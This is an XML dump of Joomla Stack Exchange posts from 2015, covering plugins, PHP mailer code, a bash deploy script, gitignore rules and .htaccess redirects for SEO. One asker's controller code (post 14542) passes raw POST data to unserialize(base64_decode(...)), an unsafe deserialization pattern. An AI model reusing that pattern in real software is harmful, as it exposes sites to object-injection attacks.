  <row Id="14541" PostTypeId="2" ParentId="14535" CreationDate="2015-12-02T17:30:14.180" Score="3" Body="&lt;p&gt;Ok, I've written a small plugin that does what you want &lt;strong&gt;without&lt;/strong&gt; having to make any core hacks.&lt;/p&gt;&#xA;&lt;p&gt;You can have a look at the source code here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/C-Lodder/Profile-Edit-Redirect&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/C-Lodder/Profile-Edit-Redirect&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or you can download the plugin ready to install from here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/C-Lodder/Profile-Edit-Redirect/releases/tag/1.0.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/C-Lodder/Profile-Edit-Redirect/releases/tag/1.0.0&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Just a small explanation:&lt;/h3&gt;&#xA;&lt;p&gt;I've utilized the &lt;code&gt;onUserAfterSave&lt;/code&gt; which is triggered when a user is saved in the database, or when the information for the user is updated.&lt;/p&gt;&#xA;&lt;p&gt;To make sure that this redirect only occurs when the information is updated for an existing user, the code only executes when &lt;code&gt;$isNew == false&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In the plugin, I've also added a parameter, allowing you to choose the menu item you'd like to redirect to.&lt;/p&gt;&#xA;&lt;p&gt;Happy redirecting :)&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-12-02T17:30:14.180" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14542" PostTypeId="1" AcceptedAnswerId="14553" CreationDate="2015-12-02T20:38:12.817" Score="0" ViewCount="70" Body="&lt;p&gt;I have been working on this class for days with no luck or results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to insert variable in the email body that contains a function that iterates through an array. The variable that has problems is the &lt;code&gt;$yearFunction&lt;/code&gt; that calls &lt;code&gt;cleaningArrays()&lt;/code&gt; method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested by inserting an &lt;code&gt;exit()&lt;/code&gt; right after calling the &lt;code&gt;cleaningArrays()&lt;/code&gt; and I could the data through the array is correct, but it won't just get passed down to the body section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When an email is sent it just comes as blank no data from the &lt;code&gt;$yearFunction&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// No direct access.&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Include dependancy of the main controller form class&#xA;jimport('joomla.application.component.controllerform');&#xA;JForm::addFormPath(JPATH_COMPONENT_ADMINISTRATOR . '/models/forms');&#xA;&#xA;class VifBadgesControllerBadges extends JControllerForm&#xA;{&#xA;    protected $yearBadgeArray;&#xA;    protected $moduleBadgeArray;&#xA;    protected $otherBadgeArray;&#xA;    protected $yearBadges;&#xA;    protected $moduleBadges;&#xA;    protected $otherBadges;&#xA;    protected $recipientName;&#xA;    protected $recipientEmail;&#xA;    protected $message;&#xA;    protected $badgeEarner;&#xA;    protected $yearFunction;    &#xA;&#xA;    public function cleaningArrays($list)&#xA;    {&#xA;        for ($k=0; $k &amp;lt; count($list); $k++)&#xA;        {&#xA;            echo $list[$k];&#xA;        }&#xA;&#xA;        return ;&#xA;    }&#xA;&#xA;&#xA;    public function submit()&#xA;    {&#xA;        // Check for request forgeries.&#xA;        JRequest::checkToken() or jexit(JText::_('JINVALID_TOKEN'));&#xA;&#xA;        // Initialize variables.&#xA;        $app = JFactory::getApplication();&#xA;        $mail = &amp;amp;JFactory::getMailer();&#xA;        $user = JFactory::getUser();&#xA;        $redirectUrl = JRoute::_('index.php/', false);&#xA;&#xA;        $postData = $app-&amp;gt;input-&amp;gt;post;&#xA;        $this-&amp;gt;recipientEmail = $postData-&amp;gt;get('email', '', 'STRING');&#xA;        $this-&amp;gt;recipientName = $postData-&amp;gt;get('name', '', 'STRING');&#xA;        $this-&amp;gt;message = $postData-&amp;gt;get('message', '', 'STRING');&#xA;        $this-&amp;gt;badgeEarner = $postData-&amp;gt;get('badgeEarner', '', '');&#xA;        $yearBadgeArray = $postData-&amp;gt;get('yearBadgeData', '', '');&#xA;        $moduleBadgeArray = $postData-&amp;gt;get('moduleBadgeData', '', '');&#xA;        $otherBadgeArray = $postData-&amp;gt;get('otherBadgeData', '', '');&#xA;&#xA;        $this-&amp;gt;yearBadgeArray= unserialize(base64_decode($yearBadgeArray));&#xA;        $this-&amp;gt;moduleBadgeArray= unserialize(base64_decode($moduleBadgeArray));&#xA;        $this-&amp;gt;otherBadgeArray= unserialize(base64_decode($otherBadgeArray));&#xA;&#xA;        $yearFunction = function()&#xA;        {&#xA;            $badge = [];&#xA;&#xA;            foreach ($this-&amp;gt;yearBadgeArray as $yearBadge)&#xA;            {&#xA;                $badge[] = $yearBadge[2][1];&#xA;            }&#xA;&#xA;            $this-&amp;gt;cleaningArrays($badge);&#xA;&#xA;        };&#xA;&#xA;        $body = &quot;&amp;lt;div style='font-family:arial,helvetica,sans-serif;font-size:12px;'&amp;gt;&#xA;        &amp;lt;p&amp;gt;Hi &quot;.$this-&amp;gt;recipientName.&quot;,&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&quot;.$this-&amp;gt;badgeEarner.&quot; has earned digital badges for completing a PD modules in VIF's Learning Center and wants to share the details with you!&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Message from &quot;.$this-&amp;gt;badgeEarner.&quot;&amp;lt;/strong&amp;gt; &quot; .$this-&amp;gt;message.&quot;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Year Badges:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&quot;.$yearFunction().&quot;&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;hr style='border:0px;color:rgb(237,237,235);min-height:1px;width:525px;background-color:rgb(237,237,235)' /&amp;gt;&#xA;        &amp;lt;div style='font-family:arial,helvetica,sans-serif;text-align:center;font-size:10px;color:rgb(102,102,102)'&amp;gt;&#xA;        &amp;lt;p&amp;gt;This email was sent to Andrew from Community.&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;2015&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;&#xA;        $senderEmail = $user-&amp;gt;email;&#xA;        $senderName = $user-&amp;gt;name;&#xA;        $sender = array($senderEmail, $senderName);&#xA;&#xA;        $mail-&amp;gt;ClearAddresses();&#xA;        $mail-&amp;gt;setSender($sender);&#xA;        $mail-&amp;gt;addRecipient($this-&amp;gt;recipientEmail);&#xA;        $mail-&amp;gt;Encoding = 'base64';&#xA;        $mail-&amp;gt;setSubject(JText::_($this-&amp;gt;badgeEarner.' Shared a Digital Badge'));&#xA;        $mail-&amp;gt;IsHTML(true);&#xA;        $mail-&amp;gt;setBody($body);&#xA;&#xA;        $send = $mail-&amp;gt;Send();&#xA;&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7290" LastEditorUserId="7290" LastEditDate="2015-12-03T14:16:08.873" LastActivityDate="2015-12-03T17:06:11.547" Title="Assigning an array output in the email body variable" Tags="|joomla-3.x|joomla-3.4|jmail|email-template|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14543" PostTypeId="1" CreationDate="2015-12-02T22:36:32.297" Score="2" ViewCount="101" Body="&lt;p&gt;We are implementing an update server feature for our custom Joomla extension.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to add confirmation text after selecting the extension and require the click of the update button before connecting to the update server?&lt;/p&gt;&#xA;&lt;p&gt;For example, I want to show a message like:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Are you sure you want to update? By clicking the OK button, you agree to our terms and conditions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;After hitting OK, the update server should get connected and the update should be executed.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="12352" LastEditDate="2020-08-15T10:38:50.173" LastActivityDate="2023-12-28T20:01:25.173" Title="Ask for confirmation before extension update via update server" Tags="|joomla-3.x|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14544" PostTypeId="2" ParentId="14531" CreationDate="2015-12-03T02:21:25.187" Score="3" Body="&lt;p&gt;The real answer is, it's a total pain. Most of the emails are in the language files, so you have to hack html into those and pray it works. The better way to do it IS with a plugin, and there are several options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Acyba as mentioned by Max &lt;a href=&quot;https://www.acyba.com/acymailing/362-acymailing-joomlanotification.html&quot; rel=&quot;nofollow&quot;&gt;Acyba site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Email Beautifier by TechJoomla (though it may contain backlinks) &lt;a href=&quot;https://techjoomla.com/products/email-beautifier&quot; rel=&quot;nofollow&quot; title=&quot;TechJoomla.com&quot;&gt;Techjoomla site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;CMandril by Compojoom (this one requires a Mandrill account) &lt;a href=&quot;https://compojoom.com/joomla-extensions/mandrill-transactional-emails-made-easy&quot; rel=&quot;nofollow&quot; title=&quot;compojoom.com&quot;&gt;Compojoom site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25" LastActivityDate="2015-12-03T02:21:25.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14546" PostTypeId="2" ParentId="10828" CreationDate="2015-12-03T06:44:02.130" Score="2" Body="&lt;p&gt;I would like to answer my own question. bcoz it may help others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Laravel implemented it with the help of &lt;code&gt;Envoy&lt;/code&gt;, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The requirement can be fixed in few ways.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Write a bash script for doing deployment.&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;a href=&quot;https://git-scm.com/docs/githooks&quot; rel=&quot;nofollow&quot;&gt;Git hooks&lt;/a&gt; options.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://jonathannicol.com/blog/2013/11/19/automated-git-deployments-from-bitbucket/&quot; rel=&quot;nofollow&quot;&gt;Bit Bucket Hooks&lt;/a&gt; options.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here I will explain bash script that is what I preferred.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;## Project Deployment Script ##&#xA;ssh username@hostname &amp;lt;&amp;lt;'ENDSSH'&#xA;cd /home/phpadmin/Development/Project ;&#xA;git pull origin master;&#xA;ENDSSH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;save the above file as &lt;code&gt;deploy.sh&lt;/code&gt; then make sure it had execute permission. then simply run it from CLI.&#xA;now you will get password prompt for server user, just enter it and done !.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps someone ..&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="138" LastEditDate="2015-12-03T07:34:35.700" LastActivityDate="2015-12-03T07:34:35.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14547" PostTypeId="2" ParentId="14543" CreationDate="2015-12-03T09:35:00.870" Score="0" Body="&lt;p&gt;Unfortunately this is not possible using Joomla's standard update server. There could possibly be a way to achieve this, however it's so long winded and I'm not 100% sure it would work, therefore I won't suggest anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You basically have 2 choices:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You add the Terms and Conditions on the download page on your site for your extension and have the user agree to them.&lt;/li&gt;&#xA;&lt;li&gt;You can do what NoNumber does have have your own Update Manager, which would take some serious time&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-12-03T09:35:00.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14548" PostTypeId="2" ParentId="14500" CreationDate="2015-12-03T14:09:31.910" Score="1" Body="&lt;p&gt;Have you looked through the JED &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/&lt;/a&gt; to see if anything meets your needs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a good KB option I've used on several sites &lt;a href=&quot;http://www.freestyle-joomla.com&quot; rel=&quot;nofollow&quot;&gt;http://www.freestyle-joomla.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to develop your own, it sounds like you need to look at the development tutorials. &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your development experience you should consider starting with a component builder. &lt;a href=&quot;https://www.component-creator.com&quot; rel=&quot;nofollow&quot;&gt;https://www.component-creator.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2015-12-03T14:09:31.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14549" PostTypeId="2" ParentId="11003" CreationDate="2015-12-03T14:13:26.170" Score="1" Body="&lt;p&gt;Unfortunately the repeatable field type is broken for any field that requires Javascript logic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the relevant issue in Joomla &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/6882&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/issues/6882&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2015-12-03T14:13:26.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14550" PostTypeId="2" ParentId="13909" CreationDate="2015-12-03T14:17:33.740" Score="0" Body="&lt;p&gt;That's way more complex than you need. Skip using JS logic and just use the CSS nth-child() Selector or nth-of-type() Selector. &lt;/p&gt;&#xA;" OwnerUserId="7344" LastEditorUserId="7344" LastEditDate="2015-12-04T05:23:43.773" LastActivityDate="2015-12-04T05:23:43.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14551" PostTypeId="1" CreationDate="2015-12-03T15:04:42.853" Score="0" ViewCount="246" Body="&lt;p&gt;Im making custom formular and for one field I need a username ajax validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prepared a custom handler in jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;document.formvalidator.setHandler('usernamecheck', function(value) {&#xA;    jQuery(&quot;.username_message&quot;).html('');&#xA;    jQuery(&quot;.username_message&quot;).hide();&#xA;&#xA;    jQuery.ajax({&#xA;        url:'index.php?option=com_xxx&amp;amp;task=user.checkUserName',&#xA;        type: &quot;POST&quot;,&#xA;        data: {&#xA;            'username': value&#xA;        }&#xA;    }).done(function(msg) {&#xA;        console.log(msg);&#xA;        msg = JSON.parse(msg);&#xA;&#xA;        if (msg.msg==='false')&#xA;        {&#xA;            jQuery(&quot;.username_message&quot;).show();&#xA;            jQuery(&quot;.username_message&quot;).html(msg.html);&#xA;            return false;                &#xA;        }&#xA;        else&#xA;        {&#xA;            return true;    &#xA;        }&#xA;&#xA;    })&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ajax works fine but while form validation this handler always add invalid class to my field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if all method returns true, after validation I have red bordered input.&#xA;But when I remove ajax calling from this method and for testing check only by if-else, it works ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows why? Maybe it can't be done by ajax in handlers?&lt;/p&gt;&#xA;" OwnerUserId="6924" LastEditorUserId="6924" LastEditDate="2016-08-01T09:34:15.213" LastActivityDate="2016-12-29T11:40:39.753" Title="Ajax in custom handler on client side" Tags="|joomla-3.x|jquery|ajax|form|validations|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14553" PostTypeId="2" ParentId="14542" CreationDate="2015-12-03T17:06:11.547" Score="0" Body="&lt;p&gt;I finally fixed it thanks for my co-worker Simon. So what I did is I removed the cleaningArrays() method, and re-wrote my anonymous function like below by adding the &lt;strong&gt;implode()&lt;/strong&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$yearBadgesFunction = function()&#xA;    {&#xA;        $badge = [];&#xA;&#xA;        foreach ($this-&amp;gt;yearBadgeArray as $yearBadge)&#xA;        {&#xA;            $badge[] = $yearBadge[2][1];&#xA;        }&#xA;&#xA;        $badgeDataSet = implode(&quot; &quot;, $badge);&#xA;&#xA;        return $badgeDataSet;&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7290" LastActivityDate="2015-12-03T17:06:11.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14554" PostTypeId="1" CreationDate="2015-12-03T17:24:26.467" Score="0" ViewCount="341" Body="&lt;p&gt;I've been using Xampp for Mac and the latest version of Joomla. I uploaded the  site/database to a live server a couple weeks ago for a developer to look at a problem I was having specifically with his extension. No problems with the upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I'm ready to test the site fully, I deleted the previous database and files, uploaded the new files and am now getting an error when importing the database that wasn't there before. I'm scratching my head to what could have happened between now and then as well as what this error is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2ESLG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ESLG.jpg&quot; alt=&quot;MySQL error&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas? I posted this to the Joomla forums, one person mentioned to try Akeeba Backup rather than doing things manually, but it's having it's own issues uploading to a specific directory on the live server rather than the root. So I will trouble shoot that in the meantime, but honestly I don't see how that will take care of the problem of importing the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For testing, I did create a new localhost database and imported the database just fine. It's the live server that's producing the error when uploading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The localhost version of phpMyAdmin is 4.2.11&lt;br&gt;&#xA;The live version of phpMyAdmin is 4.5.0.2 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried installing a newer version of Xampp, but it's having database issues for the mac version unfortunately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if you need more information or have more questions. &lt;/p&gt;&#xA;" OwnerUserId="7369" LastEditorUserId="1629" LastEditDate="2015-12-03T22:04:11.237" LastActivityDate="2016-03-05T07:49:02.197" Title="Database error importing from localhost to live site?" Tags="|joomla-3.x|mysql|database|localhost|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14555" PostTypeId="1" CreationDate="2015-12-03T17:41:25.803" Score="1" ViewCount="381" Body="&lt;p&gt;First: I would consider myself an advanced beginner in terms of administration. I know enough to be dangerous to myself and my projects :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an addon website hosted at HostGator. The HostGator server basically treats addons like subdomains, but presents them publicly as separate websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed Joomla! 3 in a folder in the addon domain's directory. I did this automatically using QuickInstall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After building the Joomla! site, I changed the addon domain's directory root to point to the Joomla! folder, so:&#xA;public_html/addonwebsite.com now points to addonwebsite.com/joomla&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the new site home page (Joomla site home page) when I go to addonwebsite.com, but none of the other Joomla site pages work. Also, I can no longer access the Admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on what's causing this and how to rectify would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7370" LastEditorUserId="7370" LastEditDate="2015-12-08T21:17:12.970" LastActivityDate="2015-12-10T17:18:09.310" Title="Access Errors After Changing Addon Domain Directory Root to Joomla! Folder" Tags="|administrator|.htaccess-configuration|redirect|configuration|server|" AnswerCount="4" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14556" PostTypeId="1" AcceptedAnswerId="14577" CreationDate="2015-12-03T18:18:25.583" Score="0" ViewCount="107" Body="&lt;p&gt;I am trying to use git in a Joomla project and the strategy I was thinking of was to ignore everything except a selected folders/subfolders. I tried some of the suggested methods from this &lt;a href=&quot;https://stackoverflow.com/questions/987142/make-gitignore-ignore-everything-except-a-few-files/29932318#29932318&quot;&gt;answer&lt;/a&gt; but to no avail:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I am trying to put in the .gitignore file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ignore everything&#xA;*&#xA;# except mod_mymodule and com_mycomponent&#xA;!modules/mod_mymodule&#xA;!components/com_mycomponent&#xA;!templates/mytemplate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running git status on this, git does not asks me to add any untracked files even though none of the files within the folder are currently in the repo. Am I doing something wrong or is it just not possible?&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-12-06T00:11:34.817" Title="Make git all Joomla folders except a select few folders/subfolders" Tags="|joomla-3.4|fix-my-code|git|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14557" PostTypeId="2" ParentId="10046" CreationDate="2015-12-04T00:39:01.463" Score="3" Body="&lt;p&gt;This post highlights a common problem with Joomla and other CMSes. Without the correct setup many different URLs can be indexed for the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla applies an ID for each category and each item. For auto-generated links, all Joomla processes are these IDs (ie. /236-category-name/121-article-name) - the additional category names and article names are irrelevant. And these pages can be indexed by bots in a range of variations (ie. print or email buttons, feeds, trailing /, or trailing index.php etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you missed the above comment from @FFrewin, he offers a more detailed explanation at &lt;a href=&quot;https://joomla.stackexchange.com/questions/4164/how-to-deal-with-duplicated-content-urls-in-joomla&quot;&gt;How to deal with Duplicated Content / URLs in Joomla?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to cut to the chase on the best ways to fix this, and add a couple of points.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Are you doing it to yourself?&lt;/strong&gt; You could be the problem in the way that you have setup your menu items and what you have included in your sitemap. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Multiple menu items for the same page from different menus instead of using one menu and using &lt;code&gt;menu item alias&lt;/code&gt; to link to that preferred menu item, or running a sitemap extension and not blocking/removing duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a hidden menu: one that contains direct menu links to all of your static pages which aren't already covered by visible menu items. This forces Joomla to default to that page link when displaying pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Avoid leaving empty categories or unnecessary categories and dummy articles published (either unpublish them or better yet, delete them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also best to avoid sub-categories if possible where the top category contains no pages - if you must used nested categories, you should use a redirect plugin to redirect the empty top category page to somewhere. Better yet, actually create an overview page for that category and link it with it's own menu item.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;For smaller sites&lt;/strong&gt;, preventing issues can easily be done by configuring .htaccess, robots.txt, and a URL redirect extension for 301-redirects.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Search the JED Site Management category for URL Redirection  &lt;a href=&quot;http://extensions.joomla.org/category/site-management&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/category/site-management&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;htaccess&lt;/strong&gt; Correct use of &lt;code&gt;htaccess&lt;/code&gt; is probably the most powerful way to manage your links on the site, but it does require some learning. Using your Joomla .htaccess file you can solve quite a few of your duplicate URL issues such as removing trailing slashes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.+)/$ http://%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and routing www and non-www URL's:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;www to non-www redirect&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} www.example.com&#xA;RewriteRule (.*) http://example.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;non-www to www redirect&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^example.com [NC] &#xA;RewriteRule ^(.*)$ http://www.example.com/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Robots.txt&lt;/strong&gt;  (remember that this is only there to guide robot activity - it cannot stop them.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set-up your robots.txt file to disallows any URL with a query string, i.e. a '?' from being indexed, see the article about robots.txt for the code. It both prevents issues with duplicate UR's because of non-SEF URL's, but also real query strings, like these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`/contact.php`&#xA;`/contact.php?font-size=larger`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See this article for details on how to correctly set your robot.txt file: &lt;a href=&quot;http://joomlaseo.com/checklist/robots-txt-for-search-engines&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://joomlaseo.com/checklist/robots-txt-for-search-engines&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For larger sites, using a SEF extension is more efficient, but it&#xA;  involves learning how to use them. If used correctly, all duplicate&#xA;  URL issues will be solved. However, if used incorrectly, you could end&#xA;  up blocking bots from indexing your pages.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Search the JED under Site Management category for the SEF extension that is best for you. &lt;a href=&quot;http://extensions.joomla.org/category/site-management&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/category/site-management&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Lastly, as mentioned, Google Search Console allows you to block&#xA;  specific links from being indexed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is a &lt;strong&gt;recommendation&lt;/strong&gt; to Google and often does not solve the problem, and for larger sites can be time consuming to cover all possible options. Again, if your sitemap includes multiple links for the same page you are working against yourself.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-01-25T12:16:58.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14558" PostTypeId="2" ParentId="13814" CreationDate="2015-12-04T00:59:11.123" Score="1" Body="&lt;p&gt;I have read that going to the language extension and re-saving the default language can solve some issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this Github discussion on the the Language Filter may be related to what you are experiencing. &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/4215&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/issues/4215&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lastly this guide on multi-lingual site setup may be worth your time as well &lt;a href=&quot;http://multilingual.demojoomla.com/multi-lingual-steps-by-steps.html&quot; rel=&quot;nofollow&quot;&gt;http://multilingual.demojoomla.com/multi-lingual-steps-by-steps.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully one of these steps may sort your issue, or at least point you to a solution.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2015-12-04T00:59:11.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
